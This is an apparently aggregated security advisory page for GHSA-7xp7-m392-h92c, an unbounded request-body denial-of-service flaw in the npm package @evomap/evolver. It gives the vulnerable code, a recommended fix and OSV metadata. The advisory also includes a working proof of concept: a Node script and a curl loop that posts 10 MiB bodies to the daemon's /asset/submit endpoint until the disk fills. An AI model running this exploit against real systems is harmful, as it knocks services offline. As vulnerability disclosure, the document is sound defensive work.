GHSA-7xp7-m392-h92c: @evomap/evolver Denial of Service Vulnerability

MODERATE
CVSS 6.2
CWE-400
Published
Advisory Summary

GHSA-7xp7-m392-h92c is a MODERATE (CVSS 6.2) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting @evomap/evolver libraries in the npm ecosystem. The issue involves @evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion dos. Remediation is available by upgrading affected packages to version 1.70.0-beta.5.

GHSA-7xp7-m392-h92c at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-7xp7-m392-h92c
Severity MODERATE
CVSS v3.1 Base Score 6.2
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product @evomap/evolver
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix GHSA-7xp7-m392-h92c

To remediate this vulnerability, upgrade all affected @evomap/evolver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@evomap/evolver fixed: 1.70.0-beta.5
npm install @evomap/evolver@1.70.0-beta.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @evomap/evolver

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-7xp7-m392-h92c, inspect your project dependencies using npm:

npm ls @evomap/evolver

Analyze the terminal output to locate any version of @evomap/evolver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.70.0-beta.5), your application is affected.

Note: The npm ls @evomap/evolver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In @evomap/evolver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The EvoMap proxy daemon's HTTP body parser accepts requests of any size, and the `POST /asset/submit` route persists the full request body — verbatim and uncapped — as a JSONL line in `<dataDir>/messages.jsonl`. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via `fs.readFileSync`, making the OOM/crash persistent. ## Details **1. Entry — unbounded body parser** (`src/proxy/server/http.js:9-21`): ```js function parseBody(req) { return new Promise((resolve, reject) => { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const raw = Buffer.concat(chunks).toString(); if (!raw) return resolve({}); try { resolve(JSON.parse(raw)); } catch (e) { reject(new Error('Invalid JSON body')); } }); req.on('error', reject); }); } ``` There is no Content-Length validation and no cumulative-bytes cap on `chunks`. **2. Route — no schema or size validation** (`src/proxy/server/routes.js:75-85`): ```js 'POST /asset/submit': async ({ body }) => { if (!body.assets && !body.asset_id) { throw Object.assign(new Error('assets or asset_id is required'), { statusCode: 400 }); } const result = store.send({ type: 'asset_submit', payload: body, priority: body.priority || 'normal', }); return { body: result }; } ``` The full `body` (including arbitrarily large `body.assets[*].blob`) is forwarded to `store.send()` as the message payload. `POST /mailbox/send` has the same shape. **3. Sink — unbounded JSONL append** (`src/proxy/mailbox/store.js`): ```js // line 71-73 function appendLine(filePath, obj) { fs.appendFileSync(filePath, JSON.stringify(obj) + '\n', 'utf8'); } // line 189-209: send() builds a message wrapping the payload and calls _appendMessage // line 166-171: _appendMessage(msg) -> appendLine(this._messagesFile, msg) ``` Every `/asset/submit` or `/mailbox/send` request appends one JSONL line proportional in size to the request body. `compact()` (line 381) only re-writes existing messages; it does not drop or truncate large rows. **4. Persistence on restart** (`src/proxy/mailbox/store.js`): ```js // line 75-86 function readLines(filePath) { if (!fs.existsSync(filePath)) return []; const content = fs.readFileSync(filePath, 'utf8'); // synchronous, full-file ... } // line 143-164: _rebuildIndex() called from constructor reads every line ``` A multi-GB `messages.jsonl` will OOM the daemon on every startup, making the DoS persistent across restarts. **5. Auth model** (`recon.json`, confirmed by inspection of `src/proxy/server/http.js:38` `server.listen(port, '127.0.0.1', ...)`): > "HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) … No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes." Any local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts. **6. Why not by-design.** The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. `appendFailedCapsule` with `FAILED_CAPSULES_MAX = 200`); the absence of any cap on the mailbox path is inconsistent. ## PoC Run from the repo root: ```js // poc-asset-submit.js const http=require('http'),fs=require('fs'),os=require('os'),path=require('path'); const {MailboxStore}=require('./src/proxy/mailbox/store'); const {ProxyHttpServer}=require('./src/proxy/server/http'); const {buildRoutes}=require('./src/proxy/server/routes'); (async()=>{ const dir=fs.mkdtempSync(path.join(os.tmpdir(),'poc-')); const store=new MailboxStore(dir); const handlers={assetFetch:async()=>({}),assetSearch:async()=>({}),assetValidate:async()=>({}),atpPost:async()=>({}),atpGet:async()=>({})}; const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=>{},error:()=>{},warn:()=>{}}}); await srv.start(); const send=(mb)=>new Promise((res,rej)=>{ const body='{"assets":[{"asset_id":"sha256:dead","blob":"'+'A'.repeat(mb*1024*1024)+'"}]}'; const req=http.request({hostname:'127.0.0.1',port:39922,path:'/asset/submit',method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)}},r=>{r.resume();r.on('end',res);}); req.on('error',rej); req.write(body); req.end(); }); for(let i=0;i<3;i++){await send(10);console.log('messages.jsonl=',fs.statSync(path.join(dir,'messages.jsonl')).size,'bytes');} await srv.stop(); fs.rmSync(dir,{recursive:true}); })(); ``` Verified output: ``` messages.jsonl= 10486078 bytes messages.jsonl= 20972156 bytes messages.jsonl= 31458234 bytes ``` Live exploitation against a running daemon (default port 19820): ``` printf '{"assets":[{"blob":"%s"}]}' "$(head -c 10485760 /dev/zero | tr '\0' A)" > /tmp/big.json for i in $(seq 1 1000); do curl -s -X POST -H 'Content-Type: application/json' --data-binary @/tmp/big.json http://127.0.0.1:19820/asset/submit done ``` `<dataDir>/messages.jsonl` grows by ~10 MiB per request with no upper bound. After ~N requests, the disk is full or the daemon OOMs on next restart while reading the file. ## Impact - **Disk exhaustion** of `<dataDir>` filesystem (default `~/.evomap/mailbox/`). Shared filesystems mean co-located services can crash too. - **Persistent denial of service**: on daemon restart, `_rebuildIndex()` synchronously reads the whole `messages.jsonl` via `fs.readFileSync`, OOM-killing the daemon. Operator must manually delete or truncate the file to recover. - **Memory exhaustion** during the attack: `Buffer.concat(chunks).toString()` materializes the entire body in memory, so large single requests can also OOM the live daemon before they hit disk. - **Reachable from low-privilege local actors**: malicious npm dependency postinstall scripts, other unprivileged users on shared dev hosts, processes in sibling containers sharing the host network namespace. ## Recommended Fix 1. Cap body size in `parseBody()` (`src/proxy/server/http.js`): ```js const MAX_BODY_BYTES = 1 * 1024 * 1024; // 1 MiB function parseBody(req) { return new Promise((resolve, reject) => { const declared = Number(req.headers['content-length']); if (Number.isFinite(declared) && declared > MAX_BODY_BYTES) { const err = new Error('Request body too large'); err.statusCode = 413; return reject(err); } const chunks = []; let received = 0; req.on('data', c => { received += c.length; if (received > MAX_BODY_BYTES) { const err = new Error('Request body too large'); err.statusCode = 413; req.destroy(); return reject(err); } chunks.push(c); }); req.on('end', () => { const raw = Buffer.concat(chunks).toString(); if (!raw) return resolve({}); try { resolve(JSON.parse(raw)); } catch (e) { reject(new Error('Invalid JSON body')); } }); req.on('error', reject); }); } ``` 2. Add a per-message payload-size budget in `MailboxStore.send()` / `writeInbound()` (`src/proxy/mailbox/store.js`) — reject messages whose serialized size exceeds e.g. 256 KiB, returning a 413 to the caller. 3. Reject specifically large `body.assets[*].blob` / `body.payload` shapes in `/asset/submit` and `/mailbox/send` handlers in `src/proxy/server/routes.js` before calling `store.send()`. 4. (Defense in depth) In `_rebuildIndex()`, switch `readLines()` to a streaming line reader (`readline.createInterface` over `fs.createReadStream`) so a corrupt or oversized file degrades gracefully instead of OOM-ing on startup.

GHSA-7xp7-m392-h92c Affected @evomap/evolver Versions

1 component(s)
Fixed Versions:
1.70.0-beta.5
Product / Package Ecosystem Affected Versions Fixed Version
@evomap/evolver
npm
< 1.70.0-beta.5
1.70.0-beta.5

References

Frequently Asked Questions

What is GHSA-7xp7-m392-h92c?
GHSA-7xp7-m392-h92c is a security vulnerability in @evomap/evolver involving @evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS under CWE-400: Uncontrolled Resource Consumption.
Which @evomap/evolver versions are affected?
Affected versions include releases prior to 1.70.0-beta.5 across affected packages: @evomap/evolver.
What version fixes GHSA-7xp7-m392-h92c?
Upgrading to 1.70.0-beta.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @evomap/evolver affected?
Yes, @evomap/evolver is affected in releases prior to 1.70.0-beta.5. Upgrade your dependency to 1.70.0-beta.5 or later.
What is the CVSS score of GHSA-7xp7-m392-h92c?
GHSA-7xp7-m392-h92c has a CVSS v3.1 base score of 6.2 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with GHSA-7xp7-m392-h92c?
GHSA-7xp7-m392-h92c is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for GHSA-7xp7-m392-h92c?
Run the dependency tree command: 'npm ls @evomap/evolver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7xp7-m392-h92c",
  "modified" : "2026-05-05T21:15:32Z",
  "published" : "2026-05-05T21:15:32Z",
  "aliases" : [ ],
  "summary" : "@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS",
  "details" : "## Summary\n\nThe EvoMap proxy daemon's HTTP body parser accepts requests of any size, and the `POST /asset/submit` route persists the full request body — verbatim and uncapped — as a JSONL line in `<dataDir>/messages.jsonl`. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via `fs.readFileSync`, making the OOM/crash persistent.\n\n## Details\n\n**1. Entry — unbounded body parser** (`src/proxy/server/http.js:9-21`):\n\n```js\nfunction parseBody(req) {\n  return new Promise((resolve, reject) => {\n    const chunks = [];\n    req.on('data', c => chunks.push(c));\n    req.on('end', () => {\n      const raw = Buffer.concat(chunks).toString();\n      if (!raw) return resolve({});\n      try { resolve(JSON.parse(raw)); }\n      catch (e) { reject(new Error('Invalid JSON body')); }\n    });\n    req.on('error', reject);\n  });\n}\n```\n\nThere is no Content-Length validation and no cumulative-bytes cap on `chunks`.\n\n**2. Route — no schema or size validation** (`src/proxy/server/routes.js:75-85`):\n\n```js\n'POST /asset/submit': async ({ body }) => {\n  if (!body.assets && !body.asset_id) {\n    throw Object.assign(new Error('assets or asset_id is required'), { statusCode: 400 });\n  }\n  const result = store.send({\n    type: 'asset_submit',\n    payload: body,\n    priority: body.priority || 'normal',\n  });\n  return { body: result };\n}\n```\n\nThe full `body` (including arbitrarily large `body.assets[*].blob`) is forwarded to `store.send()` as the message payload. `POST /mailbox/send` has the same shape.\n\n**3. Sink — unbounded JSONL append** (`src/proxy/mailbox/store.js`):\n\n```js\n// line 71-73\nfunction appendLine(filePath, obj) {\n  fs.appendFileSync(filePath, JSON.stringify(obj) + '\\n', 'utf8');\n}\n\n// line 189-209: send() builds a message wrapping the payload and calls _appendMessage\n// line 166-171: _appendMessage(msg) -> appendLine(this._messagesFile, msg)\n```\n\nEvery `/asset/submit` or `/mailbox/send` request appends one JSONL line proportional in size to the request body. `compact()` (line 381) only re-writes existing messages; it does not drop or truncate large rows.\n\n**4. Persistence on restart** (`src/proxy/mailbox/store.js`):\n\n```js\n// line 75-86\nfunction readLines(filePath) {\n  if (!fs.existsSync(filePath)) return [];\n  const content = fs.readFileSync(filePath, 'utf8');  // synchronous, full-file\n  ...\n}\n// line 143-164: _rebuildIndex() called from constructor reads every line\n```\n\nA multi-GB `messages.jsonl` will OOM the daemon on every startup, making the DoS persistent across restarts.\n\n**5. Auth model** (`recon.json`, confirmed by inspection of `src/proxy/server/http.js:38` `server.listen(port, '127.0.0.1', ...)`):\n\n> \"HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) … No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes.\"\n\nAny local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts.\n\n**6. Why not by-design.** The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. `appendFailedCapsule` with `FAILED_CAPSULES_MAX = 200`); the absence of any cap on the mailbox path is inconsistent.\n\n## PoC\n\nRun from the repo root:\n\n```js\n// poc-asset-submit.js\nconst http=require('http'),fs=require('fs'),os=require('os'),path=require('path');\nconst {MailboxStore}=require('./src/proxy/mailbox/store');\nconst {ProxyHttpServer}=require('./src/proxy/server/http');\nconst {buildRoutes}=require('./src/proxy/server/routes');\n(async()=>{\n  const dir=fs.mkdtempSync(path.join(os.tmpdir(),'poc-'));\n  const store=new MailboxStore(dir);\n  const handlers={assetFetch:async()=>({}),assetSearch:async()=>({}),assetValidate:async()=>({}),atpPost:async()=>({}),atpGet:async()=>({})};\n  const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=>{},error:()=>{},warn:()=>{}}});\n  await srv.start();\n  const send=(mb)=>new Promise((res,rej)=>{\n    const body='{\"assets\":[{\"asset_id\":\"sha256:dead\",\"blob\":\"'+'A'.repeat(mb*1024*1024)+'\"}]}';\n    const req=http.request({hostname:'127.0.0.1',port:39922,path:'/asset/submit',method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)}},r=>{r.resume();r.on('end',res);});\n    req.on('error',rej); req.write(body); req.end();\n  });\n  for(let i=0;i<3;i++){await send(10);console.log('messages.jsonl=',fs.statSync(path.join(dir,'messages.jsonl')).size,'bytes');}\n  await srv.stop(); fs.rmSync(dir,{recursive:true});\n})();\n```\n\nVerified output:\n```\nmessages.jsonl= 10486078 bytes\nmessages.jsonl= 20972156 bytes\nmessages.jsonl= 31458234 bytes\n```\n\nLive exploitation against a running daemon (default port 19820):\n```\nprintf '{\"assets\":[{\"blob\":\"%s\"}]}' \"$(head -c 10485760 /dev/zero | tr '\\0' A)\" > /tmp/big.json\nfor i in $(seq 1 1000); do\n  curl -s -X POST -H 'Content-Type: application/json' --data-binary @/tmp/big.json http://127.0.0.1:19820/asset/submit\ndone\n```\n\n`<dataDir>/messages.jsonl` grows by ~10 MiB per request with no upper bound. After ~N requests, the disk is full or the daemon OOMs on next restart while reading the file.\n\n## Impact\n\n- **Disk exhaustion** of `<dataDir>` filesystem (default `~/.evomap/mailbox/`). Shared filesystems mean co-located services can crash too.\n- **Persistent denial of service**: on daemon restart, `_rebuildIndex()` synchronously reads the whole `messages.jsonl` via `fs.readFileSync`, OOM-killing the daemon. Operator must manually delete or truncate the file to recover.\n- **Memory exhaustion** during the attack: `Buffer.concat(chunks).toString()` materializes the entire body in memory, so large single requests can also OOM the live daemon before they hit disk.\n- **Reachable from low-privilege local actors**: malicious npm dependency postinstall scripts, other unprivileged users on shared dev hosts, processes in sibling containers sharing the host network namespace.\n\n## Recommended Fix\n\n1. Cap body size in `parseBody()` (`src/proxy/server/http.js`):\n\n```js\nconst MAX_BODY_BYTES = 1 * 1024 * 1024; // 1 MiB\n\nfunction parseBody(req) {\n  return new Promise((resolve, reject) => {\n    const declared = Number(req.headers['content-length']);\n    if (Number.isFinite(declared) && declared > MAX_BODY_BYTES) {\n      const err = new Error('Request body too large');\n      err.statusCode = 413;\n      return reject(err);\n    }\n    const chunks = [];\n    let received = 0;\n    req.on('data', c => {\n      received += c.length;\n      if (received > MAX_BODY_BYTES) {\n        const err = new Error('Request body too large');\n        err.statusCode = 413;\n        req.destroy();\n        return reject(err);\n      }\n      chunks.push(c);\n    });\n    req.on('end', () => {\n      const raw = Buffer.concat(chunks).toString();\n      if (!raw) return resolve({});\n      try { resolve(JSON.parse(raw)); }\n      catch (e) { reject(new Error('Invalid JSON body')); }\n    });\n    req.on('error', reject);\n  });\n}\n```\n\n2. Add a per-message payload-size budget in `MailboxStore.send()` / `writeInbound()` (`src/proxy/mailbox/store.js`) — reject messages whose serialized size exceeds e.g. 256 KiB, returning a 413 to the caller.\n\n3. Reject specifically large `body.assets[*].blob` / `body.payload` shapes in `/asset/submit` and `/mailbox/send` handlers in `src/proxy/server/routes.js` before calling `store.send()`.\n\n4. (Defense in depth) In `_rebuildIndex()`, switch `readLines()` to a streaming line reader (`readline.createInterface` over `fs.createReadStream`) so a corrupt or oversized file degrades gracefully instead of OOM-ing on startup.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@evomap/evolver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.70.0-beta.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.70.0-beta.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/EvoMap/evolver/security/advisories/GHSA-7xp7-m392-h92c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/EvoMap/evolver"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T21:15:32Z",
    "nvd_published_at" : null
  }
}